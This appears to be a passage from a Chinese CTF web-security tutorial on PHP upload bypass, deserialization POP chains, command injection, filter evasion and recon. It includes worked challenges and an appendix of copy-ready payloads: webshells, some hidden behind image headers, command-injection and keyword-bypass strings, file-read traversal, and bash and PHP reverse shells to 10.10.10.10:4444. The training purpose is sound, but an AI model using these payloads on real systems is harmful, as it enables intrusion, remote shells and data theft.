<?=system($_GET['1'])?> # 短标签，省字符
```

8.5 落地目录不在网站根目录怎么办

情况	解法
上传到 `/uploads/` 但没配解析	确认能否 include；或找别的方式拿 shell
目录不可写 / 无执行权限	配合第 6.4 的「上传 + LFI 包含临时文件」
只能传图片、不能解析	把 phar 伪装成图片上传，再第 9 章反序列化
完全不能上传	回到第 5、10 章找代码/命令执行

第 9 章 反序列化

9.1 序列化长什么样

```php
<?php
class User {
public $name = "tom";
protected $age = 18;
private $id = 1; // 私有属性在序列化里带 \0类名\0 标记
}
echo serialize(new User());
?>
# 输出：
# O:4:"User":3:{s:4:"name";s:3:"tom";s:6:"\0*\0age";i:18;s:2:"\0User\0id";i:1;}
```

类型前缀	含义	示例
O:len:"类名":属性数:{...}	对象	`O:3:"ABC":1:{...}`
a:元素数:{...}	数组	`a:1:{s:1:"a";i:1;}`
`s:3:"abc";`	字符串	长度必须对，否则 unserialize 失败
`i:18;`	整数	
`b:1;`	布尔	
`N;`	null	

9.2 漏洞入口：unserialize 吃了用户输入

```php
<?php
$data = $_GET['data']; // 攻击者可控
$obj = unserialize($data); // 危险!
?>
```

易错点 三大触发点，记住：① 显式 `unserialize($userinput)`；② `unserialize(file_get_contents($userinput))`；③ phar 归档被任何 stat 类函数读到时自动反序列化（第 7.5 节）——这一条最容易被忽略。

9.3 魔术方法（POP 链的齿轮）

魔术方法	触发时机	在攻击中的作用
__destruct	对象销毁 / 脚本结束	最常用，链的终点常是它
__wakeup	反序列化时立刻调用	常用来启动链
__toString	当对象被当字符串用	拼接/比较时触发
__call	调用不存在的方法	把方法名变成任意函数调用
__callStatic	静态调用不存在方法	同上
__get	读不存在的属性	读属性变成执行函数
__set	写不存在的属性	
__invoke	对象被当函数调用	极常用：直接 system(参数)
__destruct + unlink	析构里删文件	经典「删除文件」 gadget

9.4 POP 链的思维方法（重点）

POP 链 = 从你控制的入口（__destruct / __wakeup / __toString）出发，顺着「这个魔术方法里调用了谁 → 谁的参数又是我的 → 那个类里又调用了谁…」一路跳，最后落在危险函数上。

```
// 场景：只能 unserialize，框架代码很多，找不到 eval/system 源码

// 步骤 1 搜源码里的危险函数： system exec eval assert call_user_func file_put_contents

// 步骤 2 找这些函数「被哪个类的哪个方法调用」，参数可控？

// e.g. class C { function f($x) { eval($x); } }

// 步骤 3 谁调用了 C->f($x)？ 往回追 __destruct / __wakeup

// 步骤 4 用 PHPGGC 生成链： phpggc -l 框架名 -> phpggc 框架名 命令

// 步骤 5 把结果 URL-encode 后传给 unserialize 参数


// 手写一条最短的链（自己搭的类）

class Evil {

public $cmd = 'id';

public function __destruct() { system($this->cmd); }

}

echo serialize(new Evil());

// O:4:"Evil":1:{s:3:"cmd";s:2:"id";}

// unserialize 之后脚本结束 -> 触发 __destruct -> system('id')
```

动手练 工具：PHPGGC（git clone https://github.com/0x10n10k/PHPGGC）。常用命令：
phpggc -l 看全部框架
phpggc Laravel5 /thinkphp5.0.24 RCE1 -b
参数 -b 表示 base64 编码，-p 直接输出 payload。

※ 老师提示 反序列化的题目套路几乎固定：① 用 Phar 伪协议当「不用上传就能触发」；② 源码里只有框架，看不出漏洞；③ 要你把 phar 伪造成图片上传，或者直接在参数里传序列化字符串。

9.5 反序列化入门三题

```
// 题 1：直接调 __destruct
class A { public $x='ls'; function __destruct(){ system($this->x); } }
unserialize($_GET['a']); // a=O:1:"A":1:{s:1:"x";s:2:"ls";}

// 题 2：__wakeup 调 eval
class B { public $c='phpinfo();'; function __wakeup(){ eval($this->c); } }

// 题 3：__invoke + $f
class C { public $f='phpinfo'; public $p=[]; function __call($n,$a){ ($this->f)($this->p); } }
class D { public $o; function __toString(){ $this->o->anycall(); return 'x'; } }
```

第 10 章 代码注入与命令执行

10.1 判定类型：看危险函数

漏洞类型	危险函数/写法	payload 形式
代码注入	eval、assert、preg_replace(/e)、create_function、usort、array_map、$fn($x)	<?php system($_GET[1]);?>
命令注入	system/exec/passthru/shell_exec/popen、反引号，参数拼了用户输入	; cat /flag 或 | cat /flag 或 && cat /flag
文件读取	include/require/file_get_contents/readfile、fopen+fread、highlight_file	?f=/flag 或 php://filter...
任意写	file_put_contents、fwrite、move_uploaded_file	写个 webshell 进去

10.2 命令注入的连接符

```
system('ls' . $_GET['c']);


# 注入 test:

; cat /flag # 分号：执行完前面再执行后面

| cat /flag # 管道

&& cat /flag # 前一条成功才执行

|| cat /flag

& cat /flag

$() / `` # 子命令

%0a cat /flag # 换行

$(IFS) # 空格替代
```

10.3 绕过关键字过滤（cat / flag 被禁）

绕过手法	例子	说明
Linux 路径分割	/b''in/c''at /f''lag	bash 拼接，PHP 单引号需双写
转义字符	/bin/c\at	shell 里 \a = a
通配符	/bin/[c]at	glob 匹配
变量替换	c=cat; $c /f\lag	间接引用
命令替代	$(echo Y2F0 | base64 -d)	base64 还原
换 IFS	cat${IFS}/f${IFS}lag	无空格

绕过手法	例子	说明
无空格	`cat</flag`	无参数 cat 即可
同义命令	`tac`、`head`、`tail`、`nl`、`more`、`awk '{print}'`、`sed -n 1p`	换工具思路常比绕过滤简单
参数污染	`ca''t`、`c'a't`	单双引号互绕
十六进制	`echo 0x2f666c6167 | xargs -0 cat`	生成字符串

10.4 disable_functions 绕过

```
# 情况：system/exec/shell_exec/passthru/popen/proc_open 全被禁

# 思路：找一个「能调用其他函数」的函数，通过 call_user_func 间接调用


# 1) 用 assert（PHP7 里是代码执行，不算 disable_functions）

assert($_POST['cmd']); # PHP 7.x


# 2) 用反引号（某些环境不算在禁用列表）

echo `$_GET[1]`;


# 3) 找未被禁用的桥接函数，经典清单（按 PHP 版本试）：

# putenv / mail / dl / error_log / fputs / fwrite

# preg_replace / call_user_func / call_user_func_array

# array_map / usort / ob_start + 回调

# file_put_contents 写文件 -> 再 include

# imap_open / gd 图像函数 / 各类 XML 解析器（历史上都能做 RCE）


# 4) 上传 + include 落地 webshell，然后直接访问

file_put_contents('/var/www/html/.x.php', $_POST['c']);
```

> 易错点 如果连 `file_put_contents` 都没有、也没有上传，试试 `/proc/self/environ`、SESSION 文件、日志文件、临时目录 这些可写点。

10.5 PHP 代码里的等价替代方案

```
// 读 flag，不一定要命令执行

echo file_get_contents('/flag');

echo readfile('/flag');
```

```php
highlight_file('/flag');

show_source('/flag');

include('/flag'); // 如果 flag 没有 <?php，会原样输出

$f=fopen('/flag','r'); echo fread($f,9999);


// 目录浏览

print_r(scandir('/'));

print_r(glob('*'));

var_dump(getenv()); // 环境变量里可能塞了 flag
```

第 11 章 信息收集：源码、目录、备份

11.1 侦察清单（做题前 5 分钟做完）

- 扫端口：nmap -sV -p- --min-rate 5000 目标IP（-p- 全端口，高价值端口：22/80/443/8080/8000/3000/5000/6379/3306/9000/9001/27017）
- 目录扫描：gobuster / dirsearch，字典选 common.txt、dict-small.txt，后缀加 php bak zip phps ~
- 抓包：Burp 挂代理，把每个页面都点一遍，记录所有参数、Cookie、请求头
- 看响应头：Server / X-Powered-By / Set-Cookie / 自定义头 都会泄露版本
- 试默认文件：robots.txt、sitemap.xml、.git/HEAD、.svn/entries、www.zip、backup.zip、web.zip、src.zip
- 触发报错：?a[]=1、?a=1 传数组看路径泄露

11.2 备份文件与版本管理

```
# 逐个试这些后缀（把 index.php 换成你发现的名字）

index.php.bak index.php.bak2 index.php.old index.php.save

index.php.swp .index.php.swp index.php~ index.php.1

index.phps index.php.dist index.php.inc

index.php.orig index.php.tmp #vi#index.php index.php.bkp


# .git 泄露

http://target/.git/HEAD

# 拿到 refs 后回溯整棵树；或直接尝试

http://target/.git/index

http://target/.git/logs/HEAD
```

> 动手练 批量脚本思路：for ext in bak old orig save swp '~' '1' phps; do curl -s -o /dev/null -w "%{http_code} index.php.$ext\n" $URL/index.php.$ext; done

11.3 报错信息里有什么

```
Warning: include(/var/www/html/pages/../../../../../etc/passwd): failed to open stream

PHP Warning: include(): Failed opening '/var/www/html/...' for inclusion

Fatal error: Uncaught Error: Undefined array key "flag" in /var/www/html/index.php:12

# ^^^^^^^^^^^^^ 绝对路径 + 行号
```

```
Parse error: syntax error, unexpected end of file in /opt/web/src/app.php on line 43

# ^^^^^^ 真实项目路径
```

看到绝对路径就有两件事可以做：① 用 php://filter 读那个文件；② 拼路径穿越时按真实目录结构算层数。

第 12 章 实战演练（4 道题详解）

建议你先把每道题的答案盖住，自己先做 20 分钟，再看详解。

题 1：登录绕过（类型比较）

```php
<?php
// 源码
$name = $_POST['name'];
$pass = md5($_POST['pass']);
if ($name == 'admin' && $pass == "0e462097431906509019562988736854") {
include('flag.php');
} else {
die('login failed');
}
```

参考解法 分析：`$name == 'admin'` 是松散比较，传 `0` 即可让 `0 == 'admin'` 为 true（PHP7）。第二处是 md5 弱比较，只要传的数字串 md5 结果是 `0e` 开头就相等。
payload：`name=0&pass=240610708`（`md5('240610708') = 0e462097431906509019562988736854`）
检验：`php -r "echo md5('240610708');"`

易错点 老师提醒：别死记 `240610708`，记住方法是「md5 找 0e 开头的碰撞」。可以自己写脚本爆破 0~10^7 的数字串。

题 2：文件包含读源码

```php
<?php
// 源码
if(isset($_GET['file'])){
include($_GET['file']);
}
?>
<!doctype html><h1>News</h1>
<?php
$secret = 'flag{you_found_the_source}'; // 咦？flag 就在源码里
```

参考解法 分析：第 7 步忘了做！先别急着利用，先去试 `/index.php~`、`/index.phps`、`/.git/HEAD`，拿到源码发现 flag 明文就在里面。
若拿不到源码，用伪协议：`?file=php://filter/convert.base64-encode/resource=index.php`，本地 `base64 -d` 即可。
教学点：信息收集永远优先于漏洞利用。

题 3：上传绕过 + 临时文件包含

```php
<?php
// 源码：只允许上传图片，且落地目录有 .htaccess 禁止解析
if (isset($_FILES['pic'])) {
$ext = pathinfo($_FILES['pic']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['jpg','png'])) {
move_uploaded_file($_FILES['pic']['tmp_name'], "./upload/{$ext}_".md5(time()).".jpg");
echo 'ok';
} else die('bad ext');
}
if (isset($_GET['include'])) {
include($_GET['include']); // LFI
}
```

参考解法 解法一（并发竞态）：
① `php -v` 或 `upload_tmp_dir` 拿到 `/tmp`；
② 线程 A 循环 POST 上传 `shell.php`（文件名随意，扩展名无所谓，因为不校验内容）；
③ 线程 B 循环 GET `?include=/tmp/phpXXXXXX`；
④ 拼出 `?include=/tmp/phpXXXXXX&1=id` 就 RCE 了。
解法二（更稳）：文件虽被改名成 `md5(时间).jpg`，但 内容还是你的 PHP。若存在 `.phar` 解析或 phar 伪造 + 触发，照样能利用；或找服务器上是否有解析 `jpg` 的漏洞。

※ 老师提示 写并发爆破的 bash 骨架：

```
while true; do curl -s -F 'pic=@shell.php' $URL/upload -o /dev/null; done &
while true; do curl -s "$URL/index.php?include=/tmp/php??????" | grep -q "?" &&
break; done
```

题 4：命令注入 + 关键字绕过

```php
<?php
// 源码
```

```php
$cmd = $_GET['cmd'];
if (preg_match('/cat|ls|flag/i', $cmd)) {
die('no way');
}
system($cmd);
```

参考解法 分析：过滤了 cat / ls / flag 三个词，但没禁分号，也没过滤其他读文件的方式。
payload 1（换命令）：?cmd=tac /f\lag → tac /f\lag（bash 里 \l = l）
payload 2（无空格 + 换工具）：?cmd=head</flag
payload 3（IFS）：?cmd=tac${IFS}/f\lag
payload 4（base64）：?cmd=echo L2ZsYWc=|base64 -d|xargs tac（注意 base64 -d 没被过滤）
payload 5（awk 打印）：?cmd=awk '{print}' /f\lag
核心思想：过滤的是字符，而 shell
有等价表达。永远先想「还有没有别的命令能达成同一目的」，而不是死磕绕过。

第 13 章 30 天学习路线

周次	学习内容	产出目标
第 1 周	第 0~2 章：环境 + PHP 语法速通	能独立部署本地环境，写出会读用户输入的脚本
第 2 周	第 3~4 章：类型比较 + 超全局	能说出 5 种以上类型绕过套路
第 3 周	第 5~7 章：动态调用 + 文件包含 + 伪协议	能用 php://filter 读回任意源码；能用 LFI 组合拿到 flag
第 4 周	第 8~10 章：上传 + 反序列化 + 命令执行	会用 PHPGGC 生成链；能绕过常见扩展名/关键字黑名单
第 5~6 周	BUUCTF 入门 Web 20~30 题	独立 AC，赛后写题解
第 7~8 周	CSRF / XSS / SSRF / 权限绕过 / JWT / 条件竞争	补齐 Web 题型全景
第 9~10 周	读源码审计框架（ThinkPHP / Laravel / 各类 CMS）	看懂框架的入口文件和中间件
第 11~12 周	组队打比赛 + 复盘	稳定输出

※ 老师提示 每道题做完必须做三件事：① 写下 payload 和它为什么成立；② 找一个变种（改一层防护再打一次）；③ 写 200 字题解。做到第 3 步，你才真的学会了。

附录 A 常用语法速查表

用途	写法
读参数	`$_GET['a'] ?? '' / $_POST['a']`
三元	`$a ? $b : $c $a ?: $b $a ?? $b`
字符串拼接	`"a".$b."c" / "{$b}"`
取数组	`$a[0] $a['k'] $a['k'][0]`
遍历	`foreach ($a as $k=>$v){}`
解构	`list($a,$b) = $arr; / [$a,$b] = $arr;`
类型判断	`is_string is_array is_numeric intval strval`
排序/查找	`sort usort in_array array_search array_key_exists`
文件	`file_get_contents readfile highlight_file fopen/fread`
执行	`system exec shell_exec passthru popen proc_open eval assert`
编码	`base64_encode base64_decode urlencode json_encode hex2bin`
序列化	`serialize unserialize var_export print_r`
错误处理	`@` 抑制符 / try-catch / `error_reporting(0)`

附录 B 可以直接抄的 payload 库

B.1 RCE 代码

```
<?php system($_GET[1]); ?>

<?php system($_REQUEST['cmd']); ?>

<?=system($_GET[1])?> # 短标签，省字符

<?php passthru($_POST['c']); ?>

<?php $f='system';$f($_GET[1]);?>

<?php call_user_func('system',$_GET[1]);?>
```

B.2 文件读取 / 源码泄露

```
# php://filter 读源码

?f=php://filter/convert.base64-encode/resource=index.php

?f=php://filter/read=convert.base64-encode/resource=config/secret.php

?f=php://filter/string.rot13/resource=index.php


# 读文件

?f=../../../flag ?f=/flag

?f=....//....//....//....//flag


# 触发 phar

?f=phar://evil.phar/anything

?f=phar://shell.jpg/x.php


# 目录

http://target/index.php?f=php://filter/resource=/etc/passwd
```

B.3 命令注入语句

```
;ls

| cat /flag

&& id

|| id
```

```
$(cat /flag)

`cat /flag`

%0acat%20/flag

;cat${IFS}/fla?
```

B.4 绕过关键字

```
c''at /f''lag

/bin/c\at /f\lag

tac /f\lag

cat /f${IFS}lag

cat</f\lag

head -c 100 /f\lag

more /f\lag

awk '{print}' /f\lag

sed -n '1p' /f\lag

echo Y2F0IC9mbGFn | base64 -d | sh

printf '\x63\x61\x74\x20\x2f\x66\x6c\x61\x67' # printf 生成命令
```

B.5 上传绕过

```
# 文件名

shell.phtml / shell.pht / shell.phar / shell.php7

shell.php.jpg / shell.php. / shell.php. / shell.PHP

shell.php%00.jpg (PHP<5.3.4)

shell.php::$DATA (Windows)


# 文件内容

GIF89a<?php system($_GET[1]);?>

\x89PNG\r\n\x1a\n<?php system($_GET[1]);?>

<?=system($_GET[1])?>


# 目标上传点

multipart/form-data 表单，字段名要和 $_FILES['xxx'] 对上
```

B.6 常用扫描命令

```
# 端口

nmap -sV -p- --min-rate 5000 10.10.10.10

nmap -sC -p 80,8080,8000,9000 10.10.10.10


# 目录

gobuster dir -u http://target -w common.txt -x php,bak,zip,txt,phps

dirsearch -u http://target -e php,txt,bak,zip

ffuf -u http://target/FUZZ -w common.txt -mc all -fc 404


# 反弹 shell

python3 -m http.server 8888 # 本机

nc -lvnp 4444 # 收

bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 # 反弹

php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");' # PHP 版


# 快速核对 md5

php -r "echo md5('240610708');"
```

附录 C 检查点自测（附答案）

1. PHP 7 中 0 == "abc" 的结果？PHP 8 呢？

答：PHP 7.4 为 true；PHP 8.3 改为 false（BC 断裂）。

2. "abc" == null 是什么结果？

答：false（实测 7.4 / 8.3 均为 false）。null 被转成空字符串做字符串比较，所以只有 "" == null 才是 true。

3. 为什么 "0e123" == "0e456" 为 true？

答：两者都是数字字符串，PHP 把它们解析成数值 0，0 == 0。

4. strcmp([], []) == 0 在 PHP 7 返回什么？

答：PHP 7：strcmp 收到数组参数返回 NULL，而 NULL == 0 为 true，所以整体为 true。PHP 8 改为抛 TypeError，漏洞消失。

5. $_FILES['f']['name'] 可以伪造吗？

答：可以。name / type 完全由客户端控制，只有 tmp_name 由服务端生成。所以内容校验和文件名校验必须分开做。

6. extract($_GET) 有什么危害？

答：用请求参数覆盖任意已存在变量。若后面有 include($file)、system($cmd) 之类，直接沦陷。

7. assert($_GET['x']) 能执行代码吗？

答：PHP 7.x 可以（实测 7.4 会把字符串 eval 掉）；PHP 8 不行（改为抛 AssertionError，字符串不求值）。

8. 怎么用数组做变量变量？$$a['k'] 行不行？

答：不行，实测 7.4 / 8.3 都返回 NULL。正确写法是 ${$a['k']}。

9. preg_replace 的 /e 修饰符现在能用吗？

答：不能。/e 在 PHP 5.5 废弃、PHP 7 移除；实测 7.4 会报 Warning 并返回 NULL。只在老赛题里出现。

10. php://filter 为什么能读源码？

答：include 一个不含 <?php 的内容时 PHP 会原样输出，所以把源码 base64 编码后 include，就拿到编码文本了。

11. 上传了 a.jpg，file_exists('phar://a.jpg/x') 会怎样？

答：PHP 会去解析这个 phar 归档的元数据，触发 unserialize。所以 jpg 可以是「伪装的 phar」。

12. session 文件默认在哪？

答：Linux 通常 /tmp/sess_<id>；Windows 通常在 C:\Windows\Temp 或用户 Temp 目录。以 phpinfo() 的 session.save_path 为准。

13. **`.phar` 扩展名为什么重要？**

答：PHP 默认把 `.phar` 当作可执行脚本处理，很多黑名单只禁 `.php`，直接漏掉。

14. **`?a[]=1` 传到 `$a` 会怎样？**

答：`$a` 变成数组 `[0=>'1']`。若代码用 `strcmp/strlen` 等字符串函数，PHP 7 会返回 NULL 或 0，PHP 8 抛 TypeError——报错本身就是信息。

> ※ 老师提示 毕业标准：12 题全对 = 概念过关；能独立写出第 12 章 4 道题的 payload = 可以开始刷 BUUCTF 入门题了。